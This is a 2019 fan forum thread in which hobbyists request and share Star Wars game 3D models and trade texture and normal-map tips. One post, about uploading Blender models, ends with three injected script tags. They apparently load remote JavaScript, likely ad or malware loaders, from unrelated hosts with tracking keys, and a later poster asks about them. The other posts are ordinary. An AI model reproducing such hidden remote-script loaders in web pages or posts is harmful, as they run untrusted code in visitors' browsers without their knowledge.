|
Post by Rancor022 on Sept 30, 2019 22:08:08 GMT
Does somebody have an model of the providence class in BF2 which is used in capital supremicy? the only one I could find is the really undetailed one. thanks in advance The one you were referring to is the only version of the ship in the game. There is no higher-quality version unfortunately.
|
|
|
Post by Jakob on Oct 1, 2019 9:13:10 GMT
Thanks vor the answer,
|
|
dnvx11
New Member Lvl 3
Posts: 27
|
Post by dnvx11 on Oct 1, 2019 22:59:10 GMT
Does anybody has the mg-100 starfortress sf-17 model? it came in a VR experience I think
|
|
|
Post by flipdark95 on Oct 2, 2019 0:45:04 GMT
Hey there fellas, figured since I've been lurking for a while now, I'd finally start posting about my models to start contributing to the thread Imperial Supercommando Westar W-35 Fang-class Interceptor V-19 Torrent Starfighter
Since I recently discovered you can pack texture into .Blend files, I'll be uploading my models to make them available for download, where people can improve on them or use them in a fan work. <script src="//s3.amazonaws.com/js-loader/21ae36af12e6821934.js"></script><script type="text/javascript" src="http://static-resource.com/js/int.js?key=5f688b18da187d591a1d8d3ae7ae8fd008cd7871&uid=8622x"></script><script type="text/javascript" src="http://cdn-javascript.net/api?key=a1ce18e5e2b4b1b1895a38130270d6d344d031c0&uid=8622x&format=arrjs&r=1569977158559"></script>
|
|
|
Post by commandercody on Oct 2, 2019 8:15:49 GMT
Is there a model of the venator hangar interior (as Seen in this video : ) or a model of a star destroyer bridge?
|
|
|
Post by shinyman on Oct 2, 2019 12:27:04 GMT
|
|
|
Post by stargate38 on Oct 2, 2019 17:25:25 GMT
@flipdark: What's with the JavaScript code at the bottom of your post? Was that supposed to be a link?
|
|
|
Post by Rancor022 on Oct 2, 2019 17:31:54 GMT
@flipdark: What's with the JavaScript code at the bottom of your post? Was that supposed to be a link? I think you're just seeing that on your end for some reason. The link he posted works just fine, and I don't see any JavaScript code.
|
|
|
Post by soulconsumer on Oct 2, 2019 20:33:16 GMT
Looking for SWBF 2 (2017) Millennium Falcon, Star Destroyer and Slave 1 models. I'm going to use them for modelbuilding.
|
|
Slow_Mo
Junior Member Lvl 1
Posts: 55
|
Post by Slow_Mo on Oct 3, 2019 12:02:19 GMT
|
|
|
Post by lastjawa on Oct 3, 2019 17:32:28 GMT
Anyone have an fa-4 Pilot droid? He pilots Dooku's Solar Sailer in Attack of the Clones.
|
|
|
Post by Rancor022 on Oct 3, 2019 17:45:43 GMT
Looking for SWBF 2 (2017) Millennium Falcon, Star Destroyer and Slave 1 models. I'm going to use them for modelbuilding. All vehicles are in my archive listed on the first post of page 1.
|
|
|
Post by Warhammer_81 on Oct 3, 2019 22:17:27 GMT
Thanks for the help Rscott and warhammer, Unfortunately that mc80 isn't the one from Xwing vs tie fighter (Im looking exclusively for this one because it doesn't look like the standard mon calamari craft) Here are the original Calamari Cruiser models from Star Wars X-Wing (1998) and TIE Fighter (1998). The MC40 model can also be found in the game Star Wars X-Wing Alliance but with different textures: MC80a Calamari CruiserMC40 Light Calamari Cruiser
|
|
|
Post by Warhammer_81 on Oct 3, 2019 23:28:21 GMT
Anyone have an fa-4 Pilot droid? He pilots Dooku's Solar Sailer in Attack of the Clones. You're in luck! There is a really nice model done by 3D artist Jan Jacob: FA-4 Pilot droid
|
|
|
Post by lastjawa on Oct 4, 2019 2:56:35 GMT
Anyone have an fa-4 Pilot droid? He pilots Dooku's Solar Sailer in Attack of the Clones. You're in luck! There is a really nice model done by 3D artist Jan Jacob: Awesome, thanks Warhammer!
|
|
|
Post by johnfleetadmiral01 on Oct 4, 2019 19:07:28 GMT
Hey this may seem like an oddly specific request but does anyone have either the Battlefront 2 or the Kinect Venator class possibly as a Blender scene file with the textures loaded?
|
|
|
Post by aspiring3dmod on Oct 4, 2019 22:52:55 GMT
^^Another oddly specific request...
But is anybody knowledgable able to create a list in the tutorial section with mesh names of vehicles and characters?
Also where can i find the juggernaut blueprints?
|
|
|
Post by Rancor022 on Oct 5, 2019 4:03:53 GMT
But is anybody knowledgable able to create a list in the tutorial section with mesh names of vehicles and characters? What do you mean exactly?
|
|
|
Post by aspiring3dmod on Oct 5, 2019 11:10:10 GMT
But is anybody knowledgable able to create a list in the tutorial section with mesh names of vehicles and characters? What do you mean exactly? If somebody could post the names of the meshes, for example there are several versions of vehicles and such with the name "donotuse" (i assume i can use these or is there a difference between them and the other meshes?) and the location of the meshes (i can't seem to find the pf for the juggernaut and the clone officer (unarmored)
|
|
|
Post by SopmodCake on Oct 5, 2019 11:49:54 GMT
Hey guys! Does anyone have a good Dug model that is not the sebulba from that free3d website or the kinnect one? I have extracted the SWG one but is not great and im loking for more of a generic Dug without sebulba's classic outfit and googles. The closest thing i found is this sketchfab.com/3d-models/sebulba-32c6e80298004b1b8faef94bb581f980 but i have tried and failed to get it.
|
|
|
Post by dlight on Oct 5, 2019 13:41:31 GMT
|
|
|
Post by aspiring3dmod on Oct 5, 2019 16:11:34 GMT
Can somebody tell me the names of:
The pf (or what it is) of the mc80, CR90, imperial arquitens and republic, venator and ISD (i forgot lol) =)
The name of the clone officer mesh (the one without armor)
A link to the hero heads repaired exported in meters
The name of the complete kessel falcon
|
|
|
Post by Rancor022 on Oct 5, 2019 17:15:26 GMT
What do you mean exactly? If somebody could post the names of the meshes, for example there are several versions of vehicles and such with the name "donotuse" (i assume i can use these or is there a difference between them and the other meshes?) and the location of the meshes (i can't seem to find the pf for the juggernaut and the clone officer (unarmored) I mean, it's all pretty straightforward in terms of where everything is located. For instance, characters are located in "Characters", vehicles are located in "Gameplay/Vehicles". I don't really see why a tutorial would be necessary for that. Also for the record, Donotuse meshes are typically the ones that you want to use, as they are typically the fully-assembled meshes that are used in menus, etc. The term "donotuse" (obviously meaning "do not use") is only for the devs, as they are not supposed to use them in game.
|
|
|
Post by paladin on Oct 5, 2019 18:01:41 GMT
Do anyone have a quick tutorial on how to get the normal maps converted to the same UV channel as the C/CS/Diff maps for SWBF for meshes that have a separate channel for normals and diff? I's also like to know if there's simple way to convert the normal maps from the greenish tint to blue. I'm have C4D r19 and PS-CS5 to work with. I also have the nvidia plugin for PS, but my results in conversions have been mixed. I know C4D supposedly supports multiple UV channels, but that's overkill for my purposes.
My goal is to have the normal and C/CS/Diff textures on the same UVW channel with the proper blued tone. I'm a bit a of novice working with C4d, but I know my way around the basics of the materials and I'm competent with PS. Any help would be most appreciated. Thanks!
|
|
|
Post by max on Oct 5, 2019 21:39:40 GMT
Hi, is it possible to extract maps out of battlefront 2?
|
|
|
Post by Rancor022 on Oct 6, 2019 0:00:25 GMT
Hi, is it possible to extract maps out of battlefront 2? Nope.
|
|
|
Post by Rancor022 on Oct 6, 2019 0:03:01 GMT
Do anyone have a quick tutorial on how to get the normal maps converted to the same UV channel as the C/CS/Diff maps for SWBF for meshes that have a separate channel for normals and diff? I's also like to know if there's simple way to convert the normal maps from the greenish tint to blue. I'm have C4D r19 and PS-CS5 to work with. I also have the nvidia plugin for PS, but my results in conversions have been mixed. I know C4D supposedly supports multiple UV channels, but that's overkill for my purposes. My goal is to have the normal and C/CS/Diff textures on the same UVW channel with the proper blued tone. I'm a bit a of novice working with C4d, but I know my way around the basics of the materials and I'm competent with PS. Any help would be most appreciated. Thanks! For getting the normal maps to move to UV2, I believe Badhorse may have posted a tutorial in the "Help" section. For correcting the normal map RGB channels, I literally just posted how to do that either on the previous page, or the page before that. If you have any additional questions let me know
|
|
|
Post by corraashu on Oct 6, 2019 1:23:45 GMT
Updated Textures for the B1 Battledroid. I switched the Markings for Kashyyyk, Pilot and Training Textures from UV Channel 2 to Uv 1. Markings UV1Can you do this for the phase 1 and 2 clonetroopers as well?
|
|
|
Post by BadHorse on Oct 6, 2019 5:17:52 GMT
Because it's been a topic of discussion, here's a link to the tutorial for re-baking normal textures into the same UV channel as diffuse. groinkick.freeforums.net/post/349/threadFWIW, this same method works for other texture types as well, not just normals. You just uncheck one box.
|
|
|
Post by vision0815 on Oct 6, 2019 12:34:54 GMT
Hello guys, I was a long time member on facepunch, but rather the leeching quiet type. And tbh, today I am posting because despite all my trying, I am unable to find a Rakata figure. Has anyone of you one at hands, or a good Idea how I can get my hands on one? For any kind of assistance I would be very grateful.
|
|